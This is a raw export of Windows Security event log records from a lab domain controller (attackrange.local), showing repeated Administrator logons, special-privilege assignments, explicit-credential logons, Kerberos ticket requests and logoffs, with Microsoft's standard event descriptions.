LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253107
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19373B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253106
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19373B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253105
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253104
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253103
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253102
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19354E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253101
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1918D5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253100
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x191B4A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253099
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19354E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253098
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19354E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253097
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253096
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253095
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253094
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x193532

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253093
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x193532

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253092
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x193532
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253091
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253090
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253089
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253088
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1934CE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253087
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x193157

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253086
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x191D1E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253085
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1934CE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253084
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1934CE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253083
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253082
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253081
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253170
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x196FE1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253169
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x196FE1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253168
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

